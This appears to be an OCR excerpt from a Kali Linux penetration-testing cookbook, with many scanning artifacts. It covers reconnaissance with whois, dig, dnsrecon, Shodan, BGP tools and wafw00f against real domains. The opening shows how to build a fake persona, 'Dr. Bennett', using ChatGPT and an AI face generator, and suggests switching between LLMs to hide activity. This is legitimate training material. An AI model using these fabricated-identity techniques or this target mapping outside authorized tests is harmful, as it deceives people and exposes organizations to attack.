« Hair: Chestnut brown, shoulder-length, often tied back in a ponytail or styled in loose waves.
- Eyes: Hazel, with a warm, expressive gaze.

- Style: Professional but approachable—usually in tailored scrubs or smart-casual outfits outside of work. She
favors neutral tones and practical but stylish footwear.

Figure 2.27 - ChatGPT output
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6. Now, you need to generate a picture to go with Dr. Bennett. Navigate to https://veed.

io to generate her photo.

VEED Product Use Cases + Al Resources

Home VEED Tools Allmage Generator Al Face Generator

+ Texttolmage

Al FACE GENIERATOR

Transform imagination into reality and design realistic faces with VEED's Al face generator.

Describe what you want to see (eg. Rainy day in Paris in style of oil
painting)

Figure 2.28 - Veed.io description

7. Inthe prompt area, provide details for the persona you want to create. For this example,
I used the following:
39 year old attractive female dentist from upstate new york. Average

build, toned physique, chestnut brown shoulder length hair, tied
back in a pony tail, hazel eyes. Front facing photo.


https://veed.io
https://veed.io
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8. The following image was generated and can now be used in any profiles I need to create:

{®
=

(A

39 year old attractive female dentist from upstate
new york. Average build, toned physigue,
chestnut brown shoulder length hair, tied back in
a pony tail, hazel eyes. Front facing photo.

1 Create Al reel ¥ Open in editor

Figure 2.29 - Veed.io generated photo

You can now take this information and create the accounts necessary to build an online presence

for Dr. Bennett.

How it works...

ChatGPT and other online large language models (LLMs) are handy tools that can be used for
various purposes. In this case, it’s giving us a complete character that we can use online. Further-
more, we can record this information for future reference. Lastly, we can keep this character in

ChatGPT and interact with it online to provide content for our online personas.

There’s more...

You can send the same prompt to other LLMs and test their output. You may also want to work

with different LLMs to obfuscate your activities further.
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Deep Recon: Unveiling the
Digital Landscape

In this chapter, we will explore various techniques and tools to help you conduct thorough re-
connaissance. We aim to guide you through practical methods for uncovering valuable insights
about your target. Whether it involves gathering domain information, exploring public and private
routing details, or identifying hosts and their associated services, the techniques presented will

equip you with the necessary skills.

Reconnaissance is the foundation of any successful information-gathering process for ethical
penetration testing. This process involves systematically collecting data about a target to gain
insights into its infrastructure, potential vulnerabilities, and security posture. A systematic re-
connaissance approach ensures that every piece of information uncovered is actionable and

documented, forming the cornerstone for more advanced analysis phases.

Reconnaissance does not stop at merely identifying systems; it also involves profiling and un-
derstanding them. We will delve into fingerprinting hosts to determine their configurations,
identify the presence of web application firewalls, and use Simple Network Management Pro-
tocol (SNMP) to extract critical information. Each step will bring you closer to understanding
the broader picture of your target’s network and security environment while also highlighting

ethical considerations and best practices.

By the end, you will have learned a structured approach to reconnaissance that enables you to
collect, analyze, and document critical data points effectively. These tools and techniques are
essential for uncovering the information you need. However, remember to operate within the

bounds of your legal and authorized agreement with your client.
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The following recipes will be covered in this chapter:

e  Using CherryTree to organize your data

e  Gathering DNS and domain info

e  Gathering information from web resources

e  Gathering public IP information

e  Gathering external routing information

e  Gathering internal routing information

e  Gathering cloud services information

e Identifying whether there is a web application firewall
e  Using SNMP for info gathering

e  Setting up Maltego CE

e Understanding and configuring Maltego Transforms

e Initiating a scan with Maltego

Technical requirements

All recipes in this chapter will be conducted inside the Kali VM. There should be no reliance on
the underlying hardware of the VM. We recommend using a VPN or some other form of obfus-

cation if necessary.

Using CherryTree to organize your data

In this recipe, you will learn how to use CherryTree to organize and document the data you collect.
For the penetration tester, meticulous documentation is a cornerstone of a successful engagement.
During the reconnaissance phase, you gather a wide array of information about the target, such as
network configurations, domain details, application versions, and potential vulnerabilities. This
data forms the foundation for subsequent stages such as exploitation, lateral movement, and re-
porting. Key insights might be overlooked without proper documentation, hindering your ability

to exploit identified vulnerabilities effectively and validate the target’s overall security posture.

Moreover, detailed documentation ensures traceability and accountability. It allows you to refer
to specific findings during later phases of the engagement and supports your conclusions in the
final report. This report, often presented to stakeholders, serves as a record of your activities
and a roadmap for remediation. Accurate documentation not only substantiates your claims
but also enhances the credibility of your recommendations, demonstrating professionalism and

thoroughness in your approach.
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Getting ready

You need the Kali VM on and logged in to complete this recipe.

How to do it...

1.  Selectthe Kali Menu icon from the Kali VM and type Cherrytree into the search box. Once
visible, select CherryTree to launch the note-taking app.

You will immediately be presented with the CherryTree application window. Take a mo-
ment to scroll through the menu bar and the icon bar at the top to familiarize yourself

with the application and options.

File Edit Insert Format Tools cl Vi s Help CherryTree 12.0

i h ¢ EE-ET Q@ o9 rTesE BRBADBG e AE

Figure 3.1 - CherryTree interface

2. Click the first icon on the left to add a new node. I will call mine Kali Linux Cookbook
3rd Edition. Select OK.

New Node Properties

Node Name

Bold
Use Selected Color
Use Selected Icon

Node Type
® Rich Tex
Plain
Automatic Syntax Highlighting

Tags for Searching

Exclude from Searches = This Node The Subnodes

Read Only

Unique Id: 0

® Cancel

Figure 3.2 - CherryTree new node
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| T 1
SO

S Think of a node as a folder in a Windows or macOS hierarchy.

To save the work that has been done, click File, then Save, and a Choose Storage Type
dialog box will open. Click through the different selections and read the details of the

options available. For this example, select Single SQLite File, 7-zip Encrypted.... Enter
the password twice and select OK.

Next, you will add a child node to your primary node. Click the Child Node icon (second
from left) and enter the appropriate information in the dialog. For this example, add
Character Profiles and select OK.

P ¢+ EE 1 @ & 1 B B OE o
* KaliLinux Cookbook 3
cream palm fraai it candv fashion neaative core film
New Child Node Properties
Node Name

Character Profiles

ighlighting

Tags for Searching

Exclude from Searches = This Node The Subnodes
Read Only
Unique Id: 0

@® Cancel

Figure 3.3 - CherryTree Child Node
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5. Addasecond child node,and name thisoneDr. Claire Bennett (from our previous work).

6. In the child node just created, paste the content of the Character Profile node that we
made with the help of ChatGPT in Chapter 2.

7. You may now save your work by selecting File, then Save, and closing CherryTree.

How it works...

CherryTree is a powerful note-taking application that offers local storage, ensuring secure and
accessible data without relying on cloud services. Its versatility allows users to handle a wide array
of data types, including text, images, tables, and embedded files, making it ideal for managing
notes and enhancing project organization. This flexibility supports users’ documentation needs

as they progress through their work.

There's more...

Further information on CherryTree can be found on the project’s website at https: //www.giuspen.
net/cherrytree/. Further, you may wish to evaluate online note-taking applications. While you
will have to look at the pros and cons of storing your data online and the security of that data, I

would suggest looking at Standard Notes at https://standardnotes. com.

Gathering DNS and domain information

In this recipe, you will begin gathering domain information about your target. By analyzing the
target’s domain namespace, you can identify primary and associated domains, subdomains, DNS
records, and other vital details that reveal the structure and breadth of their online infrastructure.
This foundational knowledge helps you map out the target’s external attack surface and can

uncover additional domains or assets that might otherwise go unnoticed.

We aim to extract valuable insights through tools and techniques that help us expose details, such
as theregistrar, domain creation and expiration dates, and DNS record types (e.g., A, MX, CNAME,
and TXT). These details not only help build a clearer picture of the target’s environment but can

also reveal vulnerabilities such as misconfigured records or inactive subdomains.

Getting ready

You need the following to complete this recipe:

e KaliVM on and logged in

e  ProtonVPN or a similar VPN connected to obfuscate your traffic (optional)


https://www.giuspen.net/cherrytree/
https://www.giuspen.net/cherrytree/
https://standardnotes.com
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How to do it...

1. From within the Kali VM, open up a terminal window. Most of the work will be done

from here.

2. To start, run a simple whois search on google. com. We are looking for information on the

registrant, contact information, and other information. Enter the following:

whois google.com

3. Expand the output and record any interesting information. This may include items such

as contact, company, and location information.

ﬂ kali-linux-2025.3-virtualbox-amd64 [Running] - Oracle VirtualBox
File Machine View Input Devices Help

imP O

Session Actions Edit View Help

514 _DOMAIN_CO.
whois.m:

Prohibited

Domain toclie ra rohibite ttps: cann. #clientTra erProhibited
Domai i g

Do

Do

URL of the Whois Ina
Last update of whois dat

For more information on Whois

Figure 3.4 - The whois output
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4. Now, use dig and capture some information on the main google.com domain using the

following:

dig google.com ANY

\ Note

side of Kali on these operating systems.

5. Record some of the HEADER information from the name record:

File Machine View Input Devices Help

S mEm PO

o

ndbd [Running] - Orade Virtua

Session Actions Edit View Help

-~

google.com ANY

DiG 9.20.11-4+bl-Debian < google.com ANY
global options: +cmd
Got answer:
—»HEADER opcode: QUERY, st ; /WFATIL, id

flags: q 1; QUERY: 1, AN AUTHORT P, ADDITIONAL:

OPT PSEUDOSECTION:
er : 0

Figure 3.5 - The dig output, ANY

N 7
_/@\_ digis a standard package in Linux and macOS and can be run natively out-

1
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6. Now, let’s get information on the mail servers associated with google.com using the

following:

dig google.com

The output shows one registered SMTP server at smtp.google.com:

ﬂ kali-linux-2025.3-virtualbox-amd64 [Running] - Orade VirtualBox

File Machine View Input Devices Help

37 commun i : r B timed out
;i communi error timed out

DiG 9. 11-4+bl-Debian google.com MX
global options: +cmd
Got answer:
—»HEADE opcode: QUERY, E] : NOERROR, i
d ra; QUERY: 1, AN : 1, AUTHORITY: ADDITIONAL: 1

it
jgoogle.com.

ogle.com.

Query time:
SERVER:

WHEN: Mon Oct
M5G SIZE

Figure 3.6 - The dig output, MX

7. Since there is only one entry for smtp.google. com, you will want to “dig” further, as

there is probably a bit more going on than is displayed by this, so let’s use the following:

dig smtp.google.com A
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From this output, we see there are multiple host (A) records associated with smtp.google.

com:

File Machine

~

O

View

Session Actions

rualoox-amao

Input Devices Help

m PO

Edit View Help

| = [

smtp.googl

.com A

.11-4+bl-Debian <<

global options: +cmd

Got answer:
—»HEADER ¢—
flags: gr rd

TON

jsmtp.google.com.

opcode:

QUERY,
ra; QUERY:

NOERROR, id

TION:

;i ANSWER SECTION:

smtp

-.com.
-com.

- 1 =
WHEN: Mon Oct
MSG SIZE

Tip

8.

. Com.
-.com.

.1) (uDP)
16 EDT 2

Figure 3.7 - The dig output, A

1, L 5, AUTHORITY:

ADDITIONAL: 1

A useful reason to use a VPN is to get information while connected to other
parts of the internet. Try changing your VPN connection to a different coun-

try, rerunning the query, and comparing your results.

Switching tools, let’s use dnsrecon to get a zone dump of google. comusing the following:

dnsrecon -d google.com
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You will receive a variety of information to review, as shown here:
] kali@kali: ~
Session Actions Edit
INFO 5
INFO std
ERROR No
7.
9.
9.
9.
9.
9
o
9
L
9
o
9
e
9 INFO
INFO
INFO
Figure 3.8 - dnsrecon
Tip
\ ! 7/
/@\ Note the AAAA records. Those are IPV6 address records and give you the IPv6
host addresses of google.com.
9. You may now close the terminal window.
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How it works...

DNSRecon and dig are DNS reconnaissance and troubleshooting tools, each serving different
purposes. DNSRecon is a DNS enumeration tool for penetration testing and security research. It
automates tasks such as zone transfers, subdomain brute-forcing, reverse lookups, and DNSSEC
validation, which is ideal for identifying vulnerabilities during assessments. dig is a popular com-
mand-line utility for querying DNS records. It excels at resolving domain names and retrieving

records (e.g., A, MX, and TXT) for detailed diagnostics.

See also...

More information on using dig and DNSRecon can be found by examining the Kali Tools web
page. For dig access, visit https://www.kali.org/tools/bind9/#dig, and for DNSRecon, go to
https://www.kali.org/tools/dnsrecon/ orits Git page athttps://github.com/darkoperator/
dnsrecon/. This will provide you with additional details and options that you can use to enhance

the information gathered.

Gathering information from web resources

In this recipe, you will leverage a popular web resource, Shodan, to extract additional details
about your target, building on the information gathered. Resources such as Shodan and Censys
include tools for passive reconnaissance, such as search engines, certificate transparency logs,
and online DNS lookup services, and provide a wealth of publicly accessible data. By mining this
information, you can uncover critical details such as IP addresses, SSL/TLS certificate information,
website metadata, exposed services or infrastructure components, misconfigurations, or shad-
ow IT assets that may not be immediately apparent. Combined with tools for analyzing social
media and public forums, these insights can reveal connections, organizational weaknesses, or

potential entry points.
Additionally, using web resources enables you to conduct reconnaissance discreetly, minimizing

the likelihood of detection by the target.

Getting ready

You need the following to complete this recipe:

e  Web browser

e  Optional VPN connection


https://www.kali.org/tools/bind9/#dig
https://www.kali.org/tools/dnsrecon/
https://github.com/darkoperator/dnsrecon/
https://github.com/darkoperator/dnsrecon/
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How to do it...
1. Launch your web browser and navigate to https://www. shodan. io.

2. Create an account with Shodan (necessary for advanced searches).

Tip

Ensuring anonymity, privacy, and security as a pen tester is critical when

you are accessing multiple online accounts and services. While you may

opt to maintain that privacy and security by utilizing some of the strategies
discussed in previous chapters, I don’t deem them necessary for key services

that are used repetitively in the various recipes.

Once you have created the account, log in to Shodan.

3. Take a moment to explore the Shodan interface and the options available to you:

'. SHODAN Explore Downloads Pricing & Q Account

Dashboard

& Getting Started >_ ASCIl Videos <[> Developer Access

Figure 3.9 - Shodan main interface

4. Once ready, scroll to the bottom of the main interface and select Advanced Search.


https://www.shodan.io
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5. Inthequerydialog, type port:22 hostname:google.comto search for any SSH ports (port
22) open for google. com. Click on Search.

Tip

Notice that the search query is being populated based on the criteria you are

entering. This will help you learn the query syntax to make your searches

faster in the future.

6. You will be presented with substantial information based on your search criteria. If your
search results are positive, note the information provided, such as OS and version infor-

mation.

'. SHODAN Explore Downloads Pricing 2 port:22 hostname:google.com

Product Spotlight: We've Launched a new API for Fast Vulnerability Lookups. Check out
104.133.128.104

133-12€ P.goo

* Switzerland, Zarich

3 104.133.128.34
Switzerland

Russian Federation
* Switzerland, Zarich
Germany

Netherlands

United States

193.233.245.219

= Russian Federation, Moscow

Figure 3.10 - Shodan query results
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7. Select one of the positive results for a more detailed view of that host. Note all the infor-
mation presented for the host, including all open ports, detailed information related to

each open port, and a list of vulnerabilities.

@ General Information 523 Open Ports

Ho: es X
google.com » -

Domains

// 22 /TCP
Russian Federation

OpenSSH
Moscow

MT6LLC

SPDNet Telekomunikasyon Hizmetleri Bilgi
Teknolojileri Taahhut Sanayi Ve Ticaret A.S.

AS57844

Operating System ~ Linux

Figure 3.11 - Shodan host information

8. We need to review vulnerabilities based on our original interest in port 22. Filter the vul-
nerabilities from the dropdown at the top right of the Vulnerabilities list to show only

those associated with port 22.

9. Explore the host output further to record other interesting information.

How it works...

Shodan is a search engine designed to identify devices connected to the internet by scanning
IP addresses and gathering metadata about their services. It focuses on indexing banners and
headers from HTTP, FTP, and SSH services. It scans IP addresses across the web, collecting in-
formation such as device types, software versions, open ports, and geographical locations. This
information is made searchable, allowing us to locate devices based on specific factors such as
vulnerabilities, protocols, or configurations. We can use this information to research a potential

target organization to find flaws in its exposed services.
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There's more...

Shodan has arobustinformation and learning center accessible athttps://help.shodan.io/.It

can provide you with more information to help you become accustomed to the tool.

Shodan is one of many search engines of this type. Another common one is Censys, accessible
athttps://censys.com/. You can create a free account there and try similar searches to get an

idea of what Censys offers.

Gathering public IP information

In this recipe, you will extract detailed and publicly available IP address information related to
your target. Having an understanding of the target’s IP address space is essential for mapping
their external infrastructure and identifying potential vulnerabilities. Using passive and active
reconnaissance techniques, you can gather critical details such as IP ownership, geolocation,
associated domains, and open ports or services. Tools such as ARIN Whois, [Pinfo, and RIPEstat
allow us to query public IP registries for ownership and allocation details, revealing the networks

and ranges associated with the target.

Getting ready
You need the following to complete this recipe:

e KaliVM on and logged in

e  Optional VPN connection

How to do it...
1. Open aterminal window from within Kali Linux.

2. Run the following dnsrecon command to enumerate IP addresses based on the domain

name for us to review:

dnsrecon -d google.com -t std


https://help.shodan.io/
https://censys.com/
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3.

The output will provide a list of addresses that are resolved based on our query.

= kali@kali: ~

Session Actions Edit View Help

on for dom.
ral Enum

Figure 3.12 - dnsrecon enumeration

Tip

You can alter this search by connecting your VPN to differentlocations. This

may help you discover country-specific IP address regions.

Select one of the IP addresses to work with and run whois against it. Use the following

for this example:

s 142.251.167.102

The output will provide you with netblock information that can be used later to discover

hosts.

In this case, the netblock associated with this IP address range is 142.250.0.0/15, which
includes the IP addresses 142.250.0.0 to 142.251.255.255. Also, please take note of the
automated system number (ASN) associated with this netblock, AS15169. Let’s try and

use the ASN to gather additional information.
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5.

6.
7.

8.

In the terminal window, type the following:

asn

If you do not already have the asn tool, follow the prompts to install it.

Next, let’s target AS15169 by querying (this query may take several minutes to complete).
Type the following:

asn 15169

You will see an extensive output of information right at the top. You will see that this
ASN is owned by Google (common for large companies), meaning that the information

provided will solely relate to Google’s infrastructure:

kali@kali: ~

15169

aribbean and North Atlantic islands)

Figure 3.13 - AS lookup and company affiliation

Tip
|
—\@/— Often, an ASN is associated with an internet service provider (ISP) that is
4 N

providing service to the company you are investigating. Therefore, you need

to determine whether the data you are collecting is beneficial.

Scrolling down, you will see a list of IPv4 and IPvé6 prefixes associated with that ASN.

Record this information and use it later in other tools or processes.
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How it works...

The tools we used in the recipe allowed us to enhance our search based on some easily iden-
tifiable information. First, identify a specific IP address and expand to a netblock. Taking that
netblock, expanding the ASN, and, lastly, using that ASN to provide us with a list of IP address
ranges associated with our target. This list of IP addresses can then be later used for scanning

the target environment.

There's more...

The ASN tool is a Linux tool associated with the Border Gateway Protocol (BGP) toolkit, not spe-
cifically a Kali tool. This is not uncommon, as general Linux operating systems provide powerful
tools to those who know how to use them. More information on ASNs can be found at https://

www.arin.net/resources/guide/asn/.

Gathering external routing information

In this recipe, you will gather external routing information about the target to understand how its
network interacts with the broader internet. This step is necessary to identify the pathways that
data takes to and from the target’s infrastructure and reveal potential points of interception or
misconfiguration in the routing setup. You can gain insights into the target’s ISPs, autonomous

system numbers (ASNs), and peer relationships by analyzing routing details.

By using tools such as bgp. tools and Hurricane Electric’s BGP Toolkit, you can map the flow of
data packets and identify the routers and networks involved in connecting to the target. This
information can assist in exposing weak routing protocol practices or network edges that might

be exploited. It is not capturing any information, just providing packet path information.

Getting ready
You need the following to complete this recipe:

e Modern web browser

e Optional VPN connection

How to do it...
1. From the web browser, access https://bgp.tools.

2. Enter the ASN for Google (AS15169), as we discovered earlier, and hit the red arrow to

search.


https://www.arin.net/resources/guide/asn/
https://www.arin.net/resources/guide/asn/
https://bgp.tools
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Browse the Internet ecosystem

Search by ASN (AS13335), Prefix (8.8.8.0/24), DNS (bgp.tools), or MAC Address (3c:ec:ef:61:8d:75)

AS15169)|

Jump to Looking Glass

Figure 3.14 - BGP AS search

3. Review the Prefixes menu for some more information. Some of this is redundant from the

previous recipe, but look closely at the top two entries — they are Anycast address ranges.

You may recognize them as Google’s public DNS resolvers.

overview || Prefixes

Connectivity Whois IX

Prefixes Originated
1081 IPv4, 105 IPv6

Addresses Originated
7422 |24's of IPv4

Show Low Visibility Prefixes 590096 /48's of IPv6

Prefix Description
@ 0O 8.8.4.0/24 Google LLC
® 0O 8.8.8.0/24 Google LLC
=n 34.0.16.0/20 Google LLC
= n 34.0.32.0/20 Google LLC
=n 34.0.48.0/20 Google LLC
=En 34.0.96.0/19 Google LLC

Tip

Figure 3.15 - BGP Anycast

Anycast allows a single IP address to exist in multiple locations, helping to

route to the nearest location. It also assists with high availability. More in-

formation on Anycast can be found athttps://en.wikipedia.org/wiki/

Anycast.


https://en.wikipedia.org/wiki/Anycast
https://en.wikipedia.org/wiki/Anycast
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4. Go tothe Connectivity tab to gain an understanding of how Google’s BGP interconnects
with our setup and who they peer with.

5. Scroll through and select some of the different peers Google is connected to. These peers
provide you with an understanding of how traffic flows into and out of the network, and
provide you with details that can be used to identify the best placement for an attack.

6. Select the IX (Internet Exchange) tab to gather further information about connectivity,
such as the Link Speed rate for each IX point.

Overview Prefixes Connectivity Whois
= Go to PeeringDB page
PeeringDB AS-SET: Suggested Prefix Limits
RADB::AS-GOOGLE IPv4: 15000
IPv6: 10000
Internet Exchange Points
Name IPv4 IPv6 Link Speed
=4 1X.br (PTT.br) S0 Paulo 187.16.216.55 2001:128::55 800 gbps
= ; IX.br (PTT.br) Séo Paulo 187.16.218.58 2001:1218::218:58 800 gbps
= ; IX.br (PTT.br) Séo Paulo 187.16.221.212 2001:1218::221:212 800 gbps
= $ IX.br (PTT.br) Séo Paulo 187.16.222.90 2001:1218::222:90 600 gbps
= [X.br (PTT.br) Rio de Janeiro 45.6.52.32 2001:1218:0:2::32 400 ghps
= [X.br (PTT.br) Rio de Janeiro 45.6.54.72 2001:1218:0:2::54:72 400 ghps
= DE-CIX Frankfurt 80.81103.108  2001718:3b4101 300 gbes
Bl NAPAfrica IX Johannesburg 196.60.9.113 2001:438:6d0::9:113 300 gbps
= DE-CIX Frankfurt 8081102108 2001718130410 300 abos
Figure 3.16 - IX points
7. Now, move over to Hurricane Electric by navigating to https://bgp.he.net/.
8. Select BGP Peer Report from the left, type AS15169, and select Search.


https://bgp.he.net/
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9. From the output window, select Graph v4, which will display a visual representation of

the interconnectivity of the AS, as shown here:

@ HURRIGANE FLECTRIC e
Search

AS15169 Google LLC

e |
\AEInfo\lGraphvtﬂlephvﬁ\\Pmﬁxasv4|\PreﬁxasvﬁHPssrsvdHPearst\ 'Whois| |[RDAP ’ﬁ‘l_‘

BGP Tm)\kn Home

AS15169 IPv4 Route Propagation
BGP Prefix Report

BGP Peer Report

Super Traceroute
Super Looking Glass
Exchange Report
Bogon Routes
‘World Report

Multi Origin Routes
DNS Report

Top Host Report
Interet Statistics
Looking Glass
Network Tools App
Free IPV6 Tunnel
IPv6 Certification
IPV6 Progress
Going Native
Contribute Data
Credits

Contact Us

Figure 3.17 - IPv4 graph

10. Scroll through the different tabs at the top. While some of the information is redundant,

taking different views of the same information is valuable.

How it works...

BGP is the primary routing protocol that underpins the global internet. It facilitates the exchange
of routing information between ASs, which are large networks managed by organizations such as
ISPs, data centers, and enterprises. BGP ensures data is efficiently routed globally by dynamically
determining the best paths between ASs.

bgp . tools offers real-time visibility into BGP announcements, prefix monitoring, and path chang-
es, helping users identify routing anomalies such as leaks or hijacks. Hurricane Electric’s toolkit
complements this by allowing users to trace routes, analyze AS relationships, and examine global
prefix propagation. These tools are invaluable for optimizing network performance, responding
to incidents such as route hijacking, and understanding the structure of internet traffic. By le-
veraging these platforms, network engineers and researchers understand how data transitions

globally, enhancing performance, security, and resilience.



110 Deep Recon: Unveiling the Digital Landscape

There's more...

More information on BGP can be found at https://www.cloudflare.com/learning/security/

glossary/what-is-bgp/.

Gathering internal routing information

In this recipe, you will learn how to gather internal routing information about the target’s network.
Understanding the internal routing structure is critical for identifying how data flows within the
target’s infrastructure and uncovering potential network design vulnerabilities. This information
canreveal details about internal subnets, gateway configurations, and the protocols in use, which

are invaluable for navigating and exploiting the target’s environment in later stages.

By using tools such as SNMP queries, routing protocol analysis (e.g., OSPF or BGP within the in-
ternal network), or observing traceroutes and routing tables during authenticated or simulated

network access, you can construct a detailed map of the internal network topology.

Getting ready

You need the following to complete this recipe:

e  Kali VM up and running

e  VirtualBox interface up

How to do it...

1. Temporarily, we are going to move the Kali VM adapter 1 from NAT to a bridged adapter
to have direct access to the network. To do this, start by accessing the VirtualBox admin-

istrative interface on the host machine.

2. From the VirtualBox administrative interface, select the Kali VM, then click Settings and

then Network to edit the network interface configuration.

3. InExpert Mode, select Network | Adapter 1, and in the Attached to: dropdown, change
from NAT to Bridged. Then, select OK.

: Tip

\ 7/

/@\ In most cases, this change can be done while the VM runs without impacting

it, other than the routing change.

You can now close the VirtualBox interface and move to the Kali VM.


https://www.cloudflare.com/learning/security/glossary/what-is-bgp/
https://www.cloudflare.com/learning/security/glossary/what-is-bgp/
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4. In the Kali VM, open the terminal window. Enter the following command to obtain in-

formation regarding your local network(s):

5. Review the output carefully: you will see some critical information regarding the local
networks. Figure 3.18 shows that we are attached to IP addresses on two separate networks:
192.168.1.0/23 and 192.168.92.0/24.

kali@kali: ~

Actions Edit View Help

frame @

rier @ collisions @

carrier @ collisions @

Figure 3.18 - ifconfig

Tip
|
You are learning to do this on your local network, so you know how to do

g this when on a remote network and connected to other networks. This way,

you can begin expanding your knowledge of the target network.

6. Inthe terminal, type the following command to obtain your default gateways:
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The output shows that the router addressis 192.168.1.1. This enables us to understand

the network and where to pivot to investigate other networks.

7. Usetraceroute to a device on the internet with the following for your path out:

sudo traceroute -d www.yahoo.com

When examining the output, you want to look for addresses in the RFC1918 address space,
as shown in Figure 3.18. These addresses are used primarily for internal communication

within any target’s network.

Tip
RFC1918 IP addresses are reserved IP address spaces primarily used within

a target’s network, as they are not routable across the internet. These are

-(v)- as follows:

e 10.0.0.0/8=10.0.0.0-10.255.255.255
e 172.16.0.0/12=172.16.0.0-172.31.255.255
e 192.168.0.0/16=192.168.0.0-192.168.255.255

8. Inour traceroute example, you will see two separate private address spaces, as shown

in Figure 3.19.

kali@kali: ~

Session Actions Edit View Help

101 _108) 3@ hops max, 60 byte packets
2.511 ms

*
*
*
*
*
*
+*
17

2.67.191.198 (172.67.191.198) 4.170 ms

Figure 3.19 - Traceroute multihop

This provides additional information to use later when you start looking for hosts on the

network.

9. Now, you can move the Kali VM adapter 1 back to NAT.
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How it works...

traceroute sends packets to a target host with progressively increasing time-to-live (TTL) values,
forcing each packet to expire at successive routers along the path. When arouter discards a packet
because its TTL reaches zero, it sends back an error message, revealing its identity. By doing this
step by step until the destination is reached, traceroute maps out the route of intermediate hops

between the source and the target.

See also...

More information on the RFC1918 address space can be found athttps://datatracker.ietf.org/
doc/html/rfc1918. Additional information can be found athttps://new-ip.us/understanding-
rfc-1918-private-ip-addressing/.

Gathering cloud services information

In this recipe, you will learn how to investigate and gather information about potential cloud

services the target may utilize. Cloud services are widely used by many organizations’ infrastruc-
ture, offering scalability and flexibility while also introducing unique security challenges such as

misconfigured DNS, asset and data sprawl, and multitenant exposures. Discovering the target’s

use of cloud providers can reveal critical details such as hosting environments, storage solutions,
and third-party integrations, as well as identifying assets hosted on platforms such as Mimecast,
Cloudflare, AWS, Azure, or Google Cloud.

Getting ready

You need the Kali VM up and running to complete this recipe.

How to do it...

1. Youmay use a VPN or other forms of obfuscation if you so desire — connect them before

continuing.

2. Open the Kali terminal window and enter the following command:

dnsrecon -d myspace.com -t std


https://datatracker.ietf.org/doc/html/rfc1918
https://datatracker.ietf.org/doc/html/rfc1918
https://new-ip.us/understanding-rfc-1918-private-ip-addressing/
https://new-ip.us/understanding-rfc-1918-private-ip-addressing/
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3. Examine the output for potential cloud service providers. You will see two cloud service
providers. They are using Google for at least their name services and Mimecast for email

filtering.

kali@kali: ~

Actions Edit View Help

: myspace.co

us-smtp-inbound-1.mi
us-smtp-inbound-1.mi
us-smtp-inbound-1.mi
us-smtp-inbound-1.
us-smtp-inbound-1.
us-smtp-inbound
us-smtp-inbound
us-smtp-inbound
us-smtp-inbound
us-smtp-inbound
us-smtp-inbound
X us-smtp-in

Figure 3.20 - dnsrecon myspace

Let’s see whether there is more to be seen here. I suspect Google is providing more than
justname services. If youlook for the A record for myspace . com, you will see thatit points
to34.111.176.156.

Tip
N The A record is a specific domain-to-IP mapping, so it is effectively the ad-

dress you would go to if you went to https://myspace.com. MX records

provide information on their mail provider, NS records may provide infor-

mation on their ISP, and CNAME records may expose Saa$S providers.

4. Runwhois on this IP address to get more information about the ownership, as shown here:

is 34.111.176.156


https://myspace.com
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8.

As suspected, this address resolves to Google. The output shows that they are using Google

services to host their website.

=] kali@kali: ~

Session Actions Edit View Help
34.111.176.156
WHOIS

reporting/

for Internet Numbers, Ltd.

-
-
-
-
-
-
-
-
-

Figure 3.21 - whois

Finally, let’s use a new tool to get all subdomains associated with this account, check

them all, and conduct further assessments to gather additional information and details

In the terminal window, enter the following:

sublist3r

If sublist3r is not installed already, you will be asked whether you want to install it.

Enter y and then enter your password as needed.

Enter the following command to find all subdomains associated with myspace. com:

sublist3r -d myspace.com

You can now investigate each subdomain displayed in the output to gather additional
information.

You may now close the terminal window.
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How it works...

In this recipe, you utilized existing tools that you had already gained experience with, as well as
new tools to provide information. However, you must spend some time looking for indicators of
the services being used by the target network. The big ones, such as Google, Microsoft, Oracle,
and Cloudflare, might be easy to identify, but what about Mimecast? Were you aware of what
they were and what they did before this? As you see entries, you may need to perform some web
searching to see whether you can identify any interesting software or services the target may be
utilizing. Finally, one DNS entry to pay special attention to is the CNAME records — these will

often point to other hosts in the current domain or to cloud service providers.

There's more...

One of the first things you can do is create a comprehensive list of cloud service providers and
domains to help you more readily identify them as you search. There is an easy way to get start-

ed. Ask an Al assistant the following: Can you provide me with a comprehensive list of
domains associated with cloud service providers?

Identifying whether there is a web application
firewall

In this recipe, you will learn how to identify whether a web application firewall (WAF) protects
the target’s web applications. WAFs are commonly used to filter and monitor HTTP traffic between
auser and a web application, often blocking malicious requests or attacks such as SQL injection
or cross-site scripting. Detecting the presence of a WAF early in the engagement allows you to
adjust your testing strategies, such as rate limiting or payload tuning, as bypassing or evading a

WAF requires specialized techniques and may not be worth the effort.

Getting ready

You need the following to complete this recipe:

e  Kali VM up and running

e VPN or other obfuscation methods

How to do it...

1.  Ensure that your VPN or other obfuscation methods protect your identity, as we will

directly scan hosts.
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2. From within Kali, open a terminal window and enter the following command:

wafweef http://scanme.nmap

3. Examining the output, we see that wafw@@f did not identify a WAF in front of the site:

kali@kali: ~

~ WAFW@OF : -1
sniffing wWeb Application Fir

No WAF de

NUmper uUT regquestls.

Figure 3.22 - wafw00f scanme.nmap.org

4. Let’s target a different site. Type the following:

wafweof https://www.example.com

5. Examining the output from the example, we see that this site is behind a WAF or security

device. Just understanding this may be beneficial for us to use later when we begin trying

to compromise the network.

Figure 3.23 - wafw00f example.com



118

Deep Recon: Unveiling the Digital Landscape

6.

7.

8.

Lastly, let’s target a site that I know has a very common WAF. Type the following:

wafweef https://www.cloudflare.com

Examining the output, we see that not only was the WAF detected, but

the specific type of WAF was also found, in this case, the Cloudflare WAF:
kali{@kali: ~

Session Actions Edit View Help

1Lls since 2014 -~

// vt . cloudflare.com
is behind

Figure 3.24 - wafw00f Cloudflare

Tip
|
—\@/— Cloudflare is an extremely popular service for securing and mitigating web

4 N

attacks. One reason for its popularity is that it provides free services for

non-commercial use.

You can now close your terminal window.

How it works...

wafweef works by sending a series of HTTP requests to a given target website and analyzing the

responses to identify patterns that match known web application firewalls. It checks specific re-

sponse behaviors, headers, and content patterns commonly returned by various solutions. By using

these signatures, wafw@of can reliably detect the presence and type of WAF protecting the site.

See also...

More information can be found on the Kali tools site at https://www.kali.org/tools/wafweef/.


https://www.kali.org/tools/wafw00f/
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Using SNMP for information gathering

In this recipe, you will learn how to utilize the Simple Network Management Protocol (SNMP) to
gather valuable information about the target environment. SNMP is commonly used for monitor-
ing and managing network devices such as routers, switches, and servers, but misconfigurations
or weak community strings can expose sensitive data. By querying devices with SNMP, you can
retrieve system details such as device types, OS versions, network interfaces, routing tables, and
other configuration data that may reveal vulnerabilities. If the target environment has weak or
